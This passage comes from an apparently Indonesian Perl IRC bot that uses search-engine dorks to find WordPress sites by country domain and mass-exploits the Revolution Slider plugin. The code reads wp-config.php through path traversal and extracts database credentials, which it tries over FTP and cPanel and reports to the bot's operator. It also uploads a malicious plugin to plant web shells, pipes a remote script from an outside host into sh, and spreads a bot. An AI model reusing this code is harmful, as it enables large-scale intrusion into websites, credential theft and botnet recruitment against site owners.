  678. if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZA",$type,$nick); } exit; } }
  679. if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePT",$type,$nick); } exit; } }
  680. if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDE",$type,$nick); } exit; } }
  681. if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingUK",$type,$nick); } exit; } }
  682. if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCA",$type,$nick); } exit; } }
  683. if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBR",$type,$nick); } exit; } }
  684. if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingFR",$type,$nick); } exit; } }
  685. if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingES",$type,$nick); } exit; } }
  686. if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIT",$type,$nick); } exit; } }
  687. if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBE",$type,$nick); } exit; } }
  688. if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNL",$type,$nick); } exit; } }
  689. if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPT",$type,$nick); } exit; } }
  690. if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNO",$type,$nick); } exit; } }
  691. if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDK",$type,$nick); } exit; } }
  692. if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSE",$type,$nick); } exit; } }
  693. if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCH",$type,$nick); } exit; } }
  694. if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNZ",$type,$nick); } exit; } }
  695. if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingRU",$type,$nick); } exit; } }
  696. if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingJP",$type,$nick); } exit; } }
  697. if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCN",$type,$nick); } exit; } }
  698. if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKR",$type,$nick); } exit; } }
  699. if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMX",$type,$nick); } exit; } }
  700. if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAR",$type,$nick); } exit; } }
  701. if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCL",$type,$nick); } exit; } }
  702. if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAU",$type,$nick); } exit; } }
  703. if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKCA",$type,$nick); } exit; } }
  704. if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDE",$type,$nick); } exit; } }
  705. if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKIT",$type,$nick); } exit; } }
  706. if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKFR",$type,$nick); } exit; } }
  707. if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKES",$type,$nick); } exit; } }
  708. if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKRU",$type,$nick); } exit; } }
  709. if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNL",$type,$nick); } exit; } }
  710. if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKUK",$type,$nick); } exit; } }
  711. if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKBR",$type,$nick); } exit; } }
  712. if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKPL",$type,$nick); } exit; } }
  713. if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAU",$type,$nick); } exit; } }
  714. if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAT",$type,$nick); } exit; } }
  715. if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKJP",$type,$nick); } exit; } }
  716. if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKSE",$type,$nick); } exit; } }
  717. if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKMX",$type,$nick); } exit; } }
  718. if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNO",$type,$nick); } exit; } }
  719. if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDK",$type,$nick); } exit; } }
  720. }
  721.  
  722. ######################################### Exploiting
  723.  
  724. sub revslider() {
  725. my $chan = $_[0];
  726. my $bug = $_[1];
  727. my $dork = $_[2];
  728. my $engine = $_[3];
  729. my $nick = $_[4];
  730. my $count = 0;
  731. my @list = &search_engine($chan,$bug,$dork,$engine,$nick);
  732. my $num = scalar(@list);
  733. if ($num > 0){
  734. foreach my $site(@list){
  735. $count++;
  736.  
  737. my $test = "http://".$site."wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php";
  738. my $re = &get_content($test);
  739. if ($re =~ /http:\/\//){
  740. &sql_xpl($test,$dork,$chan,$site,$engine,$rsqllogo,$nick);
  741. &upload($site,$dork,$chan,$engine,$revlogo,$nick); sleep(2);
  742. }
  743. if ($count == $num-1) {
  744. &msg("$chan","7@10$engine 9Done");
  745. if ($engine =~ /eMeL/) {
  746. &sendraw("mode $chan -m");
  747. &msg("$chan","0,12 Presented by: Maria Ozawa");
  748. &msg("$chan","13Capek kali digituin mulu.. tunggu 5 menit ya baru digituin lg !!!");
  749. }
  750. }
  751. }
  752. }
  753. }
  754. sub sql_xpl() {
  755. my $url = $_[0];
  756. my $dork = $_[1];
  757. my $chan = $_[2];
  758. my $site = $_[3];
  759. my $engine = $_[4];
  760. my $logo = $_[5];
  761. my $nick = $_[6];
  762. my $data = &get_content($url);
  763. my $psite = "http://".$site;
  764. if ($psite =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; }
  765. if ($data =~ /DB_NAME/) {
  766. my $db = ""; my $user = ""; my $pass = ""; my $dbhost = "";
  767. if ($data =~ m/'DB_NAME', '(.*)'/g) { $db = $1; }
  768. if ($data =~ m/'DB_USER', '(.*)'/g) { $user = $1; }
  769. if ($data =~ m/'DB_PASSWORD', '(.*)'/g) { $pass = $1; }
  770. if ($data =~ m/'DB_HOST', '(.*)'/g) { $dbhost = $1; }
  771. &msg("$chan","7@10$engine 9e3x9p3l9o3i9t3i9n3g. . .");
  772. &msg("$chan","7@10$engine 14$site 15User:3 $user 14| 6Pass:10 xxxxxx ");
  773. #&msg("$chan","7@10$engine 3Database 14Host:3 $host 14| 15User:3 $user 14| 6Pass:10 ****** ");
  774. #&msg("$chan","$logo(7@10$engine15) 13cPanel trying...");
  775. &ftp_connect($host,$dork,$user,$pass,$chan,$engine,$logo,$nick); sleep(2);
  776. &cp_connect($host,$dork,$user,$pass,$chan,$engine,$logo); sleep(2);
  777. }
  778. }
  779.  
  780. sub ftp_connect() {
  781. my $host = $_[0];
  782. my $dork = $_[1];
  783. my $user = $_[2];
  784. my $pass = $_[3];
  785. my $chan = $_[4];
  786. my $engine = $_[5];
  787. my $logo = $_[6];
  788. my $nick = $_[7];
  789. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  790. my $success = 1;
  791. use Net::FTP;
  792. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7);
  793. $success = 0 if $ftp->login($user,$pass);
  794. $ftp->quit;
  795. if ($success == 0) {
  796. &msg("$chan","7@10$engine 7FTP Connected!  6Sent To $nick ");
  797. if ($nick eq $admin) {
  798. &msg("$admin","$logo(7@10$engine15) 4FTP Connected 15( 12ftp://".$host." 6".$user." 13:6 ".$pass." 15) 14Dork: $dork");
  799. } else {
  800. &msg("$nick","$logo(7@10$engine15) 4FTP Connected 15( 12ftp://".$host." 6".$user." 13:6 ".$pass." 15) 14Dork: $dork");
  801. &msg("$admin","$logo(7@10$engine15) 4FTP Connected 15( 12ftp://".$host." 6".$user." 13:6 ".$pass." 15) 14Dork: $dork 15by: $nick");
  802. }
  803. }
  804. } exit;
  805. }
  806. }
  807.  
  808. sub cp_connect() {
  809. my $host = $_[0];
  810. my $dork = $_[1];
  811. my $user = $_[2];
  812. my $pass = $_[3];
  813. my $chan = $_[4];
  814. my $engine = $_[5];
  815. my $logo = $_[6];
  816.  
  817. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  818. my $cp = "ftp://$user:$pass@".$host."";
  819. my $cpanel = &get_content($cp);
  820. if ($cpanel =~ /ftp/){
  821. &msg("$chan","7@10$engine 7cPanel Connected!");
  822. if ($nick eq $admin) {
  823. &msg("$admin","$logo(7@10$engine15) 4cPanel Connected 15( 2".$host."/controlpanel 7".$user." 13:7 ".$pass." 15) 14Dork: $dork");
  824. } else {
  825. #&msg("$nick","$logo(7@10$engine15) 4cPanel Connected 15( 2".$host."/controlpanel 7".$user." 13:7 ".$pass." 15) 14Dork: $dork");
  826. &msg("$admin","$logo(7@10$engine15) 4cPanel Connected 15( 2".$host."/controlpanel 7".$user." 13:7 ".$pass." 15) 14Dork: $dork 15by: $nick");
  827. }
  828. }
  829. } exit;
  830. }
  831. }
  832.  
  833. sub upload() {
  834. my $url = $_[0];
  835. my $dork = $_[1];
  836. my $chan = $_[2];
  837. my $engine = $_[3];
  838. my $logo = $_[4];
  839. my $nick = $_[5];
  840. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  841. my $vuln = "http://".$url."wp-admin/admin-ajax.php";
  842. my $manual = "http://".$url."wp-content/plugins/revslider/temp/update_extract/revslider.zip;unzip revslider.zip";
  843. my $shell = "http://".$url."wp-content/plugins/revslider/temp/update_extract/revslider/joss.php";
  844. my $pbots = "http://".$url."wp-content/plugins/revslider/temp/update_extract/revslider/pbot.php";
  845. my $uan = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  846. $uan->timeout(10);
  847. $uan->agent($useragent);
  848. my $status = $uan->get("$vuln");
  849.  
  850. my $exploit = $uan->post("$vuln", Cookie => "", Content_Type => "form-data", Content => [action => "$action", client_action => "update_plugin", update_file => ["$update_file"]]);
  851. if ($exploit->decoded_content =~ /Wrong update extracted folder/) {
  852. &msg("$chan","7@10$engine 15Success");
  853. my $unzip = &get_content($manual);
  854. sub rndstr{ join'', @_[ map{ rand @_ } 1 .. shift ] }
  855. my $rndstr = rndstr(8, 1..9, 'a'..'z');
  856. my $cmd1 = encode_base64("echo $rndstr");
  857. my $status = $uan->get("$shell?cmd=$cmd1");
  858. if ($status->decoded_content =~ /system\(\) has been disabled/) {
  859. &msg("$chan","7@10$engine 15Xploit failed: system() has been disabled");exit;
  860. }elsif ($status->decoded_content !~ /$rndstr/) {
  861. &msg("$chan","7@10$engine 6Xploit success: " . $status->status_line . "");
  862.  
  863. my $target = &get_content($shell."?bajak");
  864. if ($target =~ /SexCrime - Shell/i) {
  865. &os($shell,$chan,$dork,$engine,$logo,$nick,$url);
  866. }
  867. if ($spread == 1) { &get_content($pbots,2); }
  868.  
  869. }
  870. }
  871. #elsif ($exploit->decoded_content =~ /Wrong request/) {&msg("$chan","$logo(7@2$engine15) 14Payload failed: Not vulnerable ");exit;}
  872. #elsif ($exploit->decoded_content =~ m/0$/) {&msg("$chan","$logo(7@2$engine15) 14Payload failed: Plugin unavailable ");exit;}
  873. #else {$exploit->decoded_content =~ /<\/b>(.*?)<br>/; &msg("$chan","$logo(7@2$engine15) 14Payload failed: $1 ");exit;}
  874.  
  875. }exit;
  876. }
  877. }
  878.  
  879. sub os() {
  880. my $url = $_[0];
  881. my $chan = $_[1];
  882. my $dork = $_[2];
  883. my $engine = $_[3];
  884. my $logo = $_[4];
  885. my $nick = $_[5];
  886. my $url2 = $_[6];
  887. my @print;
  888. my $target = &get_content($url."?bajak");
  889. if ($target =~ m/Shell /) {
  890. my $target = &get_content($url."?cmd=".$c99.$botxx,7);
  891. my $target = &get_content($url."bot.php");
  892. my $target = &get_content($url."?cmd=wget%20-qO%20-%20http://www.viverosgimeno.es/wp-content/rac/bss.txt%20|%20sh%20>%20/dev/null%202>&1%20&");
  893. my $target = &get_content($url."?cmd=wget%20-qO%20-%20http://www.viverosgimeno.es/wp-content/rac/bss.txt%20|%20sh%20>%20/dev/null%202>&1%20&");
  894. my $target = &get_content($url."?cmd=curl%20http://www.viverosgimeno.es/wp-content/rac/bss.txt%20|%20sh%20>%20/dev/null%202>&1%20&");
  895. my $target = &get_content($url."?cmd=curl%20http://www.viverosgimeno.es/wp-content/rac/bss.txt%20|%20sh%20>%20/dev/null%202>&1%20&");
  896. my $target = &get_content($url."?hta");
  897. my $safe = ""; my $os = ""; my $uid = "";
  898. if ($target =~ m/Shell : (.*?)<\/b>/){$safe=$1;}
  899. if ($target =~ m/Sistem : (.*?)<\/b>/){$os=$1;}
  900. if ($target =~ m/id=(.*?)grup=(.*?)/){$uid=$1;}
  901. &msg("$chan","7@10$engine 7Exploited! Shell $safe 6Sent To $nick 3$os 9Pengguna= $uid ");
  902. if ($nick eq $admin) {
  903. &msg("$admin","$logo(7@10$engine15) 4Shell $safe 12".$url." 3$os 7Pengguna=$uid 14Dork: $dork");
  904. } else {
  905. &msg("$nick","$logo(7@10$engine15) 4Shell $safe 12".$url." 3$os 7Pengguna=$uid 14Dork: $dork");
  906. &msg("$admin","$logo(7@10$engine15) 4Shell $safe 12".$url." 3$os 7Pengguna=$uid 14Dork: $dork 15by: $nick");
  907. }
  908. }
  909. my $c99shell = "http://".$url2."wp-includes/log.php";
  910. my $cgiperl = "http://".$url2."wp-indeks.php";
  911. my $cekc99 = &get_content($c99shell,7);
  912. my $cekcgi = &get_content($cgiperl,7);
  913.  
  914. if ($cekc99 =~ /Password:/) {
  915. if ($pubscan == 0) {
  916. &msg("$admin","$logo(7@2$engine15) 4<9=4>4 c99 4<9=4>12 $c99shell15 ");
  917. }
  918. }
  919. if ($cekcgi =~ /SexCrime - Shell/) {
  920. if ($pubscan == 0) {
  921. &msg("$admin","$logo(7@2$engine15) 4<9=4>4 Backup 4<9=4>11 $cgiperl15 ");
  922. }
  923. }
  924. if ($target =~ m/Shell : Kontol/) {
  925. &msg("$chan","7@10$engine 4Shell Kontol 12".$url."");
  926. }
  927.  
  928. return @print;
  929. }
  930.  
  931. ######################################### Searching site...
  932.  
  933. sub search_engine() {
  934. my (@total,@clean);
  935. my $chan = $_[0];
  936. my $bug = $_[1];
  937. my $dork = $_[2];
  938. my $engine = $_[3];
  939. my $logo = $_[4];
  940. if ($engine eq "UAE") { my @uae = jack1($dork."+site:ae"); push(@total,@uae); }
  941. if ($engine eq "Myanmar") { my @myanmar = jack2($dork."+site:mm"); push(@total,@myanmar); }
  942. if ($engine eq "Argentina") { my @argentina = jack3($dork."+site:ar"); push(@total,@argentina); }
  943. if ($engine eq "Austria") { my @austria = jack4($dork."+site:at"); push(@total,@austria); }
  944. if ($engine eq "Australia") { my @australia = jack5($dork."+site:au"); push(@total,@australia); }
  945. if ($engine eq "Brazil") { my @brazil = jack6($dork."+site:br"); push(@total,@brazil); }
  946. if ($engine eq "Canada") { my @canada = jack7($dork."+site:ca"); push(@total,@canada); }
  947. if ($engine eq "Chili") { my @chili = jack8($dork."+site:cl"); push(@total,@chili); }
  948. if ($engine eq "Cina") { my @cina = jack9($dork."+site:cn"); push(@total,@cina); }
  949. if ($engine eq "CoMersil") { my @comersil = jack10($dork."+site:com"); push(@total,@comersil); }
  950. if ($engine eq "Czech") { my @czech = jack11($dork."+site:cz"); push(@total,@czech); }
  951. if ($engine eq "Germany") { my @germany = jack12($dork."+site:de"); push(@total,@germany); }
  952. if ($engine eq "Denmark") { my @denmark = jack13($dork."+site:dk"); push(@total,@denmark); }
  953. if ($engine eq "Spain") { my @spain = jack14($dork."+site:es"); push(@total,@spain); }
  954. if ($engine eq "Europe") { my @europe = jack15($dork."+site:eu"); push(@total,@europe); }
  955. if ($engine eq "France") { my @france = jack16($dork."+site:fr"); push(@total,@france); }
  956. if ($engine eq "Hungary") { my @hungary = jack17($dork."+site:hu"); push(@total,@hungary); }
  957. if ($engine eq "Indonesia") { my @indonesia = jack18($dork."+site:id"); push(@total,@indonesia); }
  958. if ($engine eq "Israel") { my @israel = jack19($dork."+site:il"); push(@total,@israel); }
  959. if ($engine eq "India") { my @india = jack20($dork."+site:in"); push(@total,@india); }
  960. if ($engine eq "Info") { my @info = jack1($dork."+site:info"); push(@total,@info); }
  961. if ($engine eq "Iran") { my @iran = jack2($dork."+site:ir"); push(@total,@iran); }
  962. if ($engine eq "Italy") { my @italy = jack3($dork."+site:it"); push(@total,@italy); }
  963. if ($engine eq "Japan") { my @japan = jack4($dork."+site:jp"); push(@total,@japan); }
  964. if ($engine eq "Korea") { my @korea = jack5($dork."+site:kr"); push(@total,@korea); }
  965. if ($engine eq "Mexico") { my @mexico = jack6($dork."+site:mx"); push(@total,@mexico); }
  966. if ($engine eq "Malaysia") { my @malaysia = jack7($dork."+site:my"); push(@total,@malaysia); }
  967. if ($engine eq "Network") { my @network = jack8($dork."+site:net"); push(@total,@network); }
  968. if ($engine eq "Netherlands") { my @netherlands = jack9($dork."+site:nl"); push(@total,@netherlands); }
  969. if ($engine eq "Organization") { my @organization = jack10($dork."+site:org"); push(@total,@organization); }
  970. if ($engine eq "Philippines") { my @philippines = jack11($dork."+site:ph"); push(@total,@philippines); }
  971. if ($engine eq "Poland") { my @poland = jack12($dork."+site:pl"); push(@total,@poland); }
  972. if ($engine eq "Romania") { my @romania = jack13($dork."+site:ro"); push(@total,@romania); }
  973. if ($engine eq "Russian") { my @russian = jack14($dork."+site:ru"); push(@total,@russian); }
  974. if ($engine eq "Thailand") { my @thailand = jack14($dork."+site:th"); push(@total,@thailand); }
  975. if ($engine eq "Ukraine") { my @ukraine = jack16($dork."+site:ua"); push(@total,@ukraine); }
  976. if ($engine eq "England") { my @england = jack17($dork."+site:uk"); push(@total,@england); }
  977. if ($engine eq "USA") { my @usa = jack18($dork."+site:us"); push(@total,@usa); }
  978. if ($engine eq "Slovenia") { my @slovenia = jack19($dork."+site:si"); push(@total,@slovenia); }
  979. if ($engine eq "Belgium") { my @belgium = jack20($dork."+site:be"); push(@total,@belgium); }
  980. if ($engine eq "Bussines") { my @bussines = jack1($dork."+site:biz"); push(@total,@bussines); }
  981. if ($engine eq "SouthAfrica") { my @southafrica = jack2($dork."+site:za"); push(@total,@southafrica); }
  982. if ($engine eq "Vietnam") { my @vietnam = jack3($dork."+site:vn"); push(@total,@vietnam); }
  983. if ($engine eq "Tuvalu") { my @tuvalu = jack4($dork."+site:tv"); push(@total,@tuvalu); }
  984. if ($engine eq "Cocos") { my @cocos = jack5($dork."+site:cc"); push(@total,@cocos); }
  985. if ($engine eq "Turky") { my @turky = jack6($dork."+site:tr"); push(@total,@turky); }
  986. if ($engine eq "Asia") { my @asia = jack7($dork."+site:asia"); push(@total,@asia); }
  987. if ($engine eq "Serbia") { my @serbia = jack8($dork."+site:rs"); push(@total,@serbia); }
  988. if ($engine eq "Singapore") { my @singapore = jack9($dork."+site:sg"); push(@total,@singapore); }
  989. if ($engine eq "Taiwan") { my @taiwan = jack10($dork."+site:tw"); push(@total,@taiwan); }
  990. if ($engine eq "Sweden") { my @sweden = jack11($dork."+site:se"); push(@total,@sweden); }
  991. if ($engine eq "Pakistan") { my @pakistan = jack12($dork."+site:pk"); push(@total,@pakistan); }
  992. if ($engine eq "Norway") { my @normay = jack13($dork."+site:no"); push(@total,@norway); }
  993. if ($engine eq "Montenegro") { my @montenegro = jack14($dork."+site:me"); push(@total,@montenegro); }
  994. if ($engine eq "Greece") { my @greece = jack15($dork."+site:gr"); push(@total,@greece); }
  995. if ($engine eq "Education") { my @education = jack16($dork."+site:edu"); push(@total,@education); }
  996. if ($engine eq "Goverment") { my @goverment = jack17($dork."+site:gov"); push(@total,@goverment); }
  997. if ($engine eq "Kazakhstan") { my @kazakhstan = jack18($dork."+site:kz"); push(@total,@kazakhstan); }
  998. if ($engine eq "Afganistan") { my @afganistan = jack19($dork."+site:af"); push(@total,@afganistan); }
  999. if ($engine eq "Albania") { my @albania = jack20($dork."+site:al"); push(@total,@albania); }
  1000. if ($engine eq "Algeria") { my @algeria = jack1($dork."+site:dz"); push(@total,@algeria); }
  1001. if ($engine eq "Angola") { my @angola = jack2($dork."+site:ao"); push(@total,@angola); }
  1002. if ($engine eq "Armenia") { my @armenia = jack3($dork."+site:am"); push(@total,@armenia); }
  1003. if ($engine eq "Azerbaijan") { my @azerbaijan = jack4($dork."+site:az"); push(@total,@azerbaijan); }
  1004. if ($engine eq "Bahrain") { my @bahrain = jack5($dork."+site:bh"); push(@total,@bahrain); }
  1005. if ($engine eq "Bangladesh") { my @bangladesh = jack6($dork."+site:bd"); push(@total,@bangladesh); }
  1006. if ($engine eq "Belarus") { my @belarus = jack7($dork."+site:by"); push(@total,@belarus); }
  1007. if ($engine eq "Bhutan") { my @bhutan = jack8($dork."+site:bt"); push(@total,@bhutan); }
  1008. if ($engine eq "Bolivia") { my @bolivia = jack9($dork."+site:bo"); push(@total,@bolivia); }
  1009. if ($engine eq "Bosnia") { my @bosnia = jack10($dork."+site:ba"); push(@total,@bosnia); }
  1010. if ($engine eq "Bulgaria") { my @bulgaria = jack12($dork."+site:bg"); push(@total,@bulgaria); }
  1011. if ($engine eq "Brunei") { my @brunei = jack13($dork."+site:bn"); push(@total,@brunei); }
  1012. if ($engine eq "Cambodia") { my @cambodia = jack14($dork."+site:kh"); push(@total,@cambodia); }
  1013. if ($engine eq "Cameroon") { my @cameroon = jack11($dork."+site:cm"); push(@total,@cameroon); }
  1014. if ($engine eq "Christmas") { my @christmas = jack15($dork."+site:cx"); push(@total,@christmas); }
  1015. if ($engine eq "CostaRika") { my @costarika = jack16($dork."+site:cr"); push(@total,@costarika); }
  1016. if ($engine eq "Croatia") { my @croatia = jack17($dork."+site:hr"); push(@total,@croatia); }
  1017. if ($engine eq "Cuba") { my @cuba = jack18($dork."+site:cu"); push(@total,@cuba); }
  1018. if ($engine eq "Cyprus") { my @cyprus = jack19($dork."+site:cy"); push(@total,@cyprus); }
  1019. if ($engine eq "Dominican") { my @dominican = jack20($dork."+site:dm"); push(@total,@dominican); }
  1020. if ($engine eq "Equador") { my @equador = jack1($dork."+site:ec"); push(@total,@equador); }
  1021. if ($engine eq "Egypt") { my @egypt = jack2($dork."+site:eg"); push(@total,@egypt); }
  1022. if ($engine eq "Estonia") { my @estonia = jack3($dork."+site:ee"); push(@total,@estonia); }
  1023. if ($engine eq "Finland") { my @finland = jack4($dork."+site:fi"); push(@total,@finland); }
  1024. if ($engine eq "Georgia") { my @georgia = jack5($dork."+site:ge"); push(@total,@georgia); }
  1025. if ($engine eq "Ghana") { my @ghana = jack6($dork."+site:gh"); push(@total,@ghana); }
  1026. if ($engine eq "Grenada") { my @grenada = jack7($dork."+site:gd"); push(@total,@grenada); }
  1027. if ($engine eq "Honduras") { my @honduras = jack8($dork."+site:hn"); push(@total,@honduras); }
  1028. if ($engine eq "Hongkong") { my @hongkong = jack9($dork."+site:hk"); push(@total,@hongkong); }
  1029. if ($engine eq "Iceland") { my @iceland = jack10($dork."+site:is"); push(@total,@iceland); }
  1030. if ($engine eq "Ireland") { my @ireland = jack12($dork."+site:ie"); push(@total,@ireland); }
  1031. if ($engine eq "Kenya") { my @kenya = jack13($dork."+site:ke"); push(@total,@kenya); }
  1032. if ($engine eq "Kuwait") { my @kuwait = jack14($dork."+site:kw"); push(@total,@kuwait); }
  1033. if ($engine eq "Laos") { my @laos = jack16($dork."+site:la"); push(@total,@laos); }
  1034. if ($engine eq "Latvia") { my @latvia = jack17($dork."+site:lv"); push(@total,@latvia); }
  1035. if ($engine eq "Liberia") { my @liberia = jack18($dork."+site:lr"); push(@total,@liberia); }
  1036. if ($engine eq "Libyan") { my @libyan = jack19($dork."+site:ly"); push(@total,@libyan); }
  1037. if ($engine eq "Lithuania") { my @lithuania = jack11($dork."+site:lt"); push(@total,@lithuania); }
  1038. if ($engine eq "Macedonia") { my @macedonia = jack15($dork."+site:mk"); push(@total,@macedonia); }
  1039. if ($engine eq "Malta") { my @malta = jack1($dork."+site:mt"); push(@total,@malta); }
  1040. if ($engine eq "Mongolia") { my @mongolia = jack2($dork."+site:mn"); push(@total,@mongolia); }
  1041. if ($engine eq "Mozambique") { my @mozambique = jack3($dork."+site:mz"); push(@total,@mozambique); }
  1042. if ($engine eq "Namibia") { my @namibia = jack4($dork."+site:na"); push(@total,@namibia); }
  1043. if ($engine eq "Nauru") { my @nauru = jack6($dork."+site:nr"); push(@total,@nauru); }
  1044. if ($engine eq "Nepal") { my @nepal = jack7($dork."+site:np"); push(@total,@nepal); }
  1045. if ($engine eq "NewZealand") { my @newzealand = jack8($dork."+site:nz"); push(@total,@newzealand); }
  1046. if ($engine eq "Nigeria") { my @nigeria = jack9($dork."+site:ng"); push(@total,@nigeria); }
  1047. if ($engine eq "Paraguay") { my @paraguay = jack10($dork."+site:py"); push(@total,@paraguay); }
  1048. if ($engine eq "Peru") { my @peru = jack5($dork."+site:pe"); push(@total,@peru); }
  1049. if ($engine eq "Portugal") { my @portugal = jack11($dork."+site:pt"); push(@total,@portugal); }
  1050. if ($engine eq "PuertoRico") { my @puertorico = jack12($dork."+site:pr"); push(@total,@puertorico); }
  1051. if ($engine eq "Qatar") { my @qatar = jack13($dork."+site:qa"); push(@total,@qatar); }
  1052. if ($engine eq "SaintLucia") { my @saintlucia = jack14($dork."+site:lc"); push(@total,@saintlucia); }
  1053. if ($engine eq "Samoa") { my @samoa = jack15($dork."+site:ws"); push(@total,@samoa); }
  1054. if ($engine eq "SaudiArabia") { my @saudiarabia = jack17($dork."+site:sa"); push(@total,@saudiarabia); }
  1055. if ($engine eq "Senegal") { my @senegal = jack18($dork."+site:sn"); push(@total,@senegal); }
  1056. if ($engine eq "Slovakia") { my @slovakia = jack16($dork."+site:sk"); push(@total,@slovakia); }
  1057. if ($engine eq "Srilanka") { my @srilanka = jack19($dork."+site:lk"); push(@total,@srilanka); }
  1058. if ($engine eq "Swaziland") { my @swaziland = jack20($dork."+site:sz"); push(@total,@swaziland); }
  1059. if ($engine eq "Tajikistan") { my @tajikistan = jack1($dork."+site:tj"); push(@total,@tajikistan); }
  1060. if ($engine eq "Tanzania") { my @tanzania = jack2($dork."+site:tz"); push(@total,@tanzania); }
  1061. if ($engine eq "Tokelau") { my @tokelau = jack3($dork."+site:tk"); push(@total,@tokelau); }
  1062. if ($engine eq "Tonga") { my @tonga = jack4($dork."+site:to"); push(@total,@tonga); }
